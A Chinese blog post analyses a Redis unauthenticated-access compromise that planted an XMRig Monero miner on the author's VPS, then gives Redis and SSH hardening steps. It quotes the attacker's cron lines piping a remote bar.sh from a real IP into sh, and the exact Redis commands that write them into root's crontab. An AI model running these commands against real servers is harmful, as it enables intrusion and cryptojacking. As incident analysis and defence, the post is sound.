區塊鏈太火,小心你的伺服器被動挖礦

robinwen發表於2019-03-04

文/溫國兵

這是「區塊鏈技術指北」的第 28 篇文章。

如果對我感興趣,想和我交流,我的微訊號:Wentasy,加我時簡單介紹下自己,並註明來自「區塊鏈技術指北」。同時我會把你拉入微信群「區塊鏈技術指北」。BTW,李笑來老師也加入了我的知識星球,文末有加入方式。

0x00 背景


某日,筆者收到 VPS 伺服器 CPU 告警,上伺服器一看,有個叫做 gpg-agentd 的程式佔用大量的 CPU 資源。接著就是常規的排查,IO 情況、網路流量、記憶體情況、系統日誌、crontab 等。當排查到 crontab 時,發現 crontab 有如下的任務:

*/5 * * * * curl -fsSL http://84.73.251.157:81/bar.sh | sh
*/5 * * * * wget -q -O- http://84.73.251.157:81/bar.sh | sh
複製程式碼

該伺服器提供 Redis 資源供筆者測試使用,明顯上面兩個定時任務不是筆者建立的。定時任務訪問外網伺服器,緊急處理有三點,一是確認其他服務是否受到影響,二是註釋定時任務,三是臨時斷外網,處理完之後,再來排查原因。

2018-03-08-blockchain-crack-mining

題圖來自: © kisspng.com / Anonymous Guy Fawkes mask Gunpowder Plot / kisspng.com

0x01 挖礦指令碼分析


筆者把該 Shell 指令碼下載到本地,然後進行分析。該指令碼包含以下函式:

  • IKILLYOU
  • FIRE
  • DOWNLOAD
  • INFO
  • CRON
  • CLEAN
  • INIT
  • ITABLE

我們 逐個分析。IKILLYOU 函式會 kill 掉 ssuspsplk 和 gpg-agentd 程式。CRON 函式會將文首的兩個 crontab 寫入到 /tmp/.bla.cron 檔案,接著清空使用者的 crontab,然後將 /tmp/.bla.cron 檔案載入到 crontab。FIRE 函式刪除掉 6379 埠相關的防火牆,允許本地連線,同時將防火牆配置持久化。INFO 函式用於收集主機資訊,包含當前伺服器程式、伺服器硬體屬性、系統核心版本、Linux 發行版本、Linux 發行的詳細版本、Linux 標準規範資訊、crondb 檔案幫助資訊(下文還會詳細說明這個檔案的作用),最後將以上資訊上傳到 84.73.251.157 指定目錄。

接下來我們看下 DOWNLOAD 函式。該函式從 84.73.251.157 下載 crondbc.j 檔案,放到本地的 /tmp 目錄。接下來執行關鍵的一步,/tmp/crondb -c /tmp/c.j -B

我們將 crondb 檔案和 c.j 放到本地,對這個兩個檔案進行分析。

上文提到 INFO 函式將獲取 crondb 檔案幫助資訊。我們來執行下 INFO 函式的語句。

./crondb --help
Usage: xmrig [OPTIONS]
Options:
  -a, --algo=ALGO          cryptonight (default) or cryptonight-lite
  -o, --url=URL            URL of mining server
  -O, --userpass=U:P       username:password pair for mining server
  -u, --user=USERNAME      username for mining server
  -p, --pass=PASSWORD      password for mining server
  -t, --threads=N          number of miner threads
  -v, --av=N               algorithm variation, 0 auto select
  -k, --keepalive          send keepalived for prevent timeout (need pool support)
  -r, --retries=N          number of times to retry before switch to backup server (default: 5)
  -R, --retry-pause=N      time to pause between retries (default: 5)
      --cpu-affinity       set process affinity to CPU core(s), mask 0x3 for cores 0 and 1
      --cpu-priority       set process priority (0 idle, 2 normal to 5 highest)
      --no-huge-pages      disable huge pages support
      --no-color           disable colored output
      --donate-level=N     donate level, default 5% (5 minutes in 100 minutes)
      --user-agent         set custom user-agent string for pool
  -B, --background         run the miner in the background
  -c, --config=FILE        load a JSON-format configuration file
  -l, --log-file=FILE      log all output to a file
  -S, --syslog             use system log for output messages
      --max-cpu-usage=N    maximum CPU usage for automatic threads mode (default 75)
      --safe               safe adjust threads and av settings for current CPU
      --nicehash           enable nicehash/xmrig-proxy support
      --print-time=N       print hashrate report every N seconds
      --api-port=N         port for the miner API
      --api-access-token=T access token for API
      --api-worker-id=ID   custom worker-id for API
  -h, --help               display this help and exit
  -V, --version            output version information and exit
複製程式碼

看到 Usage 這一步,再去 GitHub 專案搜尋,我們可以得知 xmrig 是用於 Monero (XMR) CPU 挖礦的。接下來我們看下 c.j 檔案,從 /tmp/crondb -c /tmp/c.j -B 得知。-c 參數列示配置檔案,-B 表示後臺執行。也就是說 c.j 是一個配置檔案。我們開啟 c.j 檔案,看到關鍵的 pools 配置,可以得知 user 配置如下:

423DEFLqFZwb4gm9fMHVY8dm8KMFXhkMHg5FBwi9nXfS6P5LCd7cArbV83Cmmwi7ouBHihZS74ckNbRDyGNruQAFBnNCeNK

我們推測這是個 Monero (XMR) 錢包。

我們把 crondb 上傳到 virscan.org,分析得出,詳細的報告點選 這裡,其中 ikarus 標記為 PUA.CoinMiner,qh360 標記為 Win32/Virus.DoS.dc1,rising 標記為 Trojan.Linux.XMR-Miner。這也印證了這是個用於挖礦的可執行檔案。

我們接著分析。接下來就是一些毀滅性的工作:

  • 清空 /var/log/wtmp
  • 清空 /var/log/secure
  • 清空歷史執行命令
  • 修改包含 linuxsyn、clay、udevs、psql、smartd、redisscan.sh、ebscan.sh、gpg-agent、gpg-agentd、kethelper 檔案的許可權為 0644
  • 清空 /tmp/unixinfect/imworking 檔案

CLEAN 函式也是一個毀滅性的函式。首先會修改 /etc/security/limits.conf 和 /etc/sysctl.conf 系統配置檔案。加入如下配置:

* soft memlock 262144
* hard memlock 262144
vm.nr_hugepages = 256
複製程式碼

接下來刪除 RMLIST 列表的檔案,kill 掉 KILIST 列表的程式。KILIST 裡有些什麼呢?也是挖礦的錢包地址或者相關的程式。這位哥們只想自己獲利,不關心兄弟的死活,呵呵。接下來執行瘋狂的 kill,也是挖礦錢包地址或者相關的程式,不過這個列表就有點多了,在此不贅述。

我們繼續分析。INIT 函式修改 nr_hugepages 核心配置,ITABLE 函式刪除掉 6379 埠相關的防火牆,允許本地連線,接下來 CRON 函式跟上文所述功能一致,在此不贅述。

最後做了指令碼優化,如果發現沒有 /tmp/crondb 和 /tmp/c.j 檔案,繼續下載。如果你的系統 GLIBC 版本不滿足它的需求,還會幫你升級,載入到 LD_LIBRARY_PATH。接著將他自己的 key 寫入到 authorized_keys 檔案,這樣它可以免密登陸,方便後續的操作。最後再清空 /var/log/wtmp、清空 /var/log/secure、清空歷史執行命令。

由於 Monero (XMR) 不可追溯性,讀者無法通過錢包地址追溯交易記錄,也就是說我們無從得知黑客從中獲益多少。

0x02 伺服器被黑分析


分析到這裡,我們對挖礦過程過程比較清楚了。但問題是,伺服器為什麼會被黑呢?

從剛才的分析得知,該指令碼會處理 6379 埠,6379 埠是我們熟知的 Redis 埠。Redis 作者 antirez 很早之前寫過一篇文章:A few things about Redis security,文中提到未授權訪問漏洞,具體的漏洞可以參考這篇文章。

由於 VPS 伺服器 Redis 埠沒有新增密碼,防火牆雖然開啟,但防火牆開放許可權過大,導致黑客趁機攻擊。具體操作流程是怎麼樣的呢?

第一,掃描到該 VPS IP 存在 6379 Redis 埠,嘗試無密碼登陸。

第二,依次執行如下命令。

set key1 "\n*/5 * * * * curl -fsSL http://84.73.251.157:81/bar.sh | sh\n"
set key2 "\n*/5 * * * * wget -q -O- http://84.73.251.157:81/bar.sh | sh\n"
config set dir /var/spool/cron/
config set dbfilename root
save
複製程式碼

第三,Linux 伺服器自動載入到 crontab,然後定時任務執行 bar.sh 指令碼,伺服器被動用於挖礦。

由於 Redis 開啟了 AOF,我們利用如下的指令碼將 AOF 回溯 [1],可以確認寫入 KEY 的鍵值對。

#!/usr/bin/env python

""" A redis appendonly file parser
"""

import logging
import hiredis
import sys

if len(sys.argv) != 2:
   print sys.argv[0], 'aof_file'
   sys.exit()
file = open(sys.argv[1])
line = file.readline()
cur_request = line
while line:
    req_reader = hiredis.Reader()
    req_reader.setmaxbuf(0)
    req_reader.feed(cur_request)
    command = req_reader.gets()
    try:
        if command is not False:
            print command
            cur_request = ''
    except hiredis.ProtocolError:
        print 'protocol error'
    line = file.readline()
    cur_request += line
file.close
複製程式碼

分析到此為止,我們可以從中得知,未授權漏洞是相當危險的,只要有這個口子,黑客可以做任何事情。

0x03 防禦方案


黑客作案手法我們已經清楚,那怎麼樣才能防禦呢?筆者在這裡給出自己的思考。

3.1 Redis 方面


Redis 作者在 A few things about Redis security 一文中提到,Redis 因配置不當可以導致未授權訪問,被攻擊者惡意利用。當前流行的針對 Redis 未授權訪問的一種新型攻擊方式,在特定條件下,如果 Redis 以 root 身份執行,黑客可以給 root 賬戶寫入 SSH 公鑰檔案,直接通過 SSH 登入受害伺服器,或者寫入 crontab 定時任務,執行有危害的服務。這些攻擊可能導致伺服器許可權被獲取和資料刪除、洩露或加密勒索事件發生,嚴重危害業務正常服務。[2]

第一,網路層加固,通常有如下兩種方式:

  • Redis 預設繫結在 0.0.0.0,也就是所有的 IP 都能訪問。建議的做法是配置檔案新增 bind 引數,允許本機以及內網 IP 地址訪問,比如
bind 127.0.0.1 192.168.0.1
複製程式碼

注:Redis 從 2.8.0 版本開始,支援雙 IP 繫結。

  • 設定防火牆策略,比如:
iptables -A INPUT -s x.x.x.x -p tcp --dport 6379 -j ACCEPT
複製程式碼

第二,賬號與認證

設定訪問密碼,配置檔案新增 requirepass,這個配置可以線上修改,配置完成之後,執行 CONFIG REWRITE 持久化到配置檔案。

第三,服務執行許可權最小化

Redis 預設使用 root 賬號執行,但這會帶來不可控的風險。我們希望用較低許可權的使用者來執行 Redis,實現賬戶隔離,保障 Redis 服務以及主機的安全。

調整如下:

# 建立 redis 使用者組
groupadd -r redis
# 新增 redis 使用者,指定為系統使用者,並且預設 Shell 改為 /sbin/nologin
useradd -c "Redis" -d /var/lib/redis -g redis -m -r -s /sbin/nologin redis
# 更改 Redis 主目錄的許可權
chown redis:redis -R /opt/redis
# 更改 Redis 相關程式的許可權
chown redis:redis /usr/local/bin/redis*
複製程式碼

最後再以 Redis 使用者啟動例項。

su -s /bin/bash redis -c "/usr/local/bin/redis-server /opt/redis/$port/redis.conf"
複製程式碼

第四,服務精細化授權

Redis 沒有賬戶許可權系統,為了避免入侵之後服務級命令需要重新命名或者遮蔽。

高危的命令如下:

  • FLUSHDB
  • FLUSHALL
  • KEYS
  • PEXPIRE
  • DEL
  • CONFIG
  • SHUTDOWN
  • BGREWRITEAOF
  • BGSAVE
  • SAVE
  • SPOP
  • SREM
  • RENAME
  • DEBUG
  • EVA

我們可以在配置檔案新增對上述命令重新命名或者遮蔽。

# 遮蔽 CONFIG 命令
rename-command CONFIG ""

# 重新命名 CONFIG 命令
rename-command CONFIG "XKGLx9LFl87mQQLVl0b7UI4VZJESG5iU"
複製程式碼

第五,安全補丁

關注官方版本的變化以及漏洞列表,及時修補,必要時進行升級。

3.2 伺服器方面


除了 Redis 本身,伺服器方面我們也有很多安全策略。

第一,伺服器不使用預設的 22 埠。22 埠是 SSH 服務的預設埠,這也是黑客掃描伺服器 ssh 服務的預設埠。修改 SSH 埠的方法如下:vim 編輯 /etc/ssh/sshd_config,將其中的 Port 22 引數改成你想要的埠,通常 5 位數字最好。修改完成之後,重啟 sshd 服務生效。

第二,禁止使用密碼登陸,使用 RSA 公鑰登陸。本地機器可以使用 ssh-keygen -t rsa 生成公鑰和私鑰,然後將公鑰追加到伺服器上的 ~/.ssh/authorized_keys 檔案,注意此檔案的許可權是 600。SSH 配置如下:

RSAAuthentication yes # RSA認證
PubkeyAuthentication yes # 開啟公鑰驗證
AuthorizedKeysFile .ssh/authorized_keys # 驗證檔案路徑
PasswordAuthentication no # 禁止密碼認證
PermitEmptyPasswords no # 禁止空密碼
複製程式碼

最後重啟 sshd 服務即可生效。

第三,禁止 root 使用者登入。線上伺服器,我們通常會以普通使用者登陸,然後再 su - root 切換到 root 使用者,這樣做的好處是,即使被攻擊了,也能有相應的保障。具體的方法是修改 /etc/ssh/sshd_config 配置檔案,將 PermitRootLogin 改為 no。

第四,新增伺服器監控。針對本文的案例,特別注意 CPU 告警。另外,還需要監測異常程式。

第五,開啟防火牆。有公網 IP 的伺服器,防火牆策略一定要做好。通常我們會限定 IP、限定埠,可以是特定的 IP 或者埠,也可以是 IP 或者埠範圍,但切記開放某個 IP 段。

第六,只從官方獲取軟體。非官方渠道的軟體很有可能被加入其他木馬檔案。正確的做法是隻從官方下載,下載下來還要檢查下檔案的 MD5 值是否和官方公佈的一致。

第七,可以使用類似 fail2ban 對伺服器安全進行加固。它會監控多個系統的日誌檔案,並根據檢測到的任何可疑的行為自動觸發不同的防禦動作。

3.3 其他服務


如果 VPS 伺服器部署了 MySQL 等服務,這裡也有很多安全措施。比如刪除匿名賬戶、刪除 test 庫、許可權最小化等。如果對 MySQL 安全感興趣的可以參考 此文

3.4 日常使用者


對於沒有 VPS 伺服器的群友,那怎麼樣做好安全呢?即使沒有 VPS 伺服器,你的 PC 或者 Mac 也有可能被黑,用於挖礦。之前寫過一篇 區塊鏈資產安全攻略,讀者可以參考下。針對本文的案例,這裡筆者提出幾點建議:

  • 不要下載未知軟體。
  • 關注 PC 或者 Mac 動態,PC 有工作管理員,Mac 有 Activity Monitor,通常電腦被用於挖礦,CPU 資源會相當緊張。
  • 使用 Chrome 等瀏覽器,謹慎訪問網站。說不定你經常訪問的網站哪天就被植入挖礦指令碼。
  • PC 關閉遠端桌面共享、檔案共享,Mac 關閉訪客賬戶、檔案共享、遠端登陸。有需要使用時才開啟,但用完之後立馬關閉。

0x04 小結


本篇文章從一起伺服器被黑事件說起,分析了挖礦指令碼、被黑過程,以及從 Redis 、伺服器、其他服務、日常使用者等方面給出了防禦方案。除了 Redis 的未授權訪問漏洞,目前主要存在未授權訪問漏洞的還有:NFS,Samba,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo 等,安全重於泰山,讀者千萬不要掉以輕心。

對本文涉及到的攻擊指令碼感興趣的讀者,可以去 GitHub clone 看看。repo 連結:

0x05 參考


「區塊鏈技術指北」同名 知識星球,二維碼如下,歡迎加入。BTW,李笑來老師也加入了

區塊鏈技術指北

「區塊鏈技術指北」相關資訊渠道:

同時,本系列文章會在以下渠道同步更新,歡迎關注:

原創不易,讀者可以通過如下途徑打賞,虛擬貨幣、美元、法幣均支援。

  • BTC: 3QboL2k5HfKjKDrEYtQAKubWCjx9CX7i8f
  • ERC20 Token: 0x8907B2ed72A1E2D283c04613536Fac4270C9F0b3
  • PayPal: www.paypal.me/robinwen
  • 微信打賞二維碼

Wechat

–EOF–

版權宣告:自由轉載-非商用-非衍生-保持署名(創意共享4.0許可證)

相關文章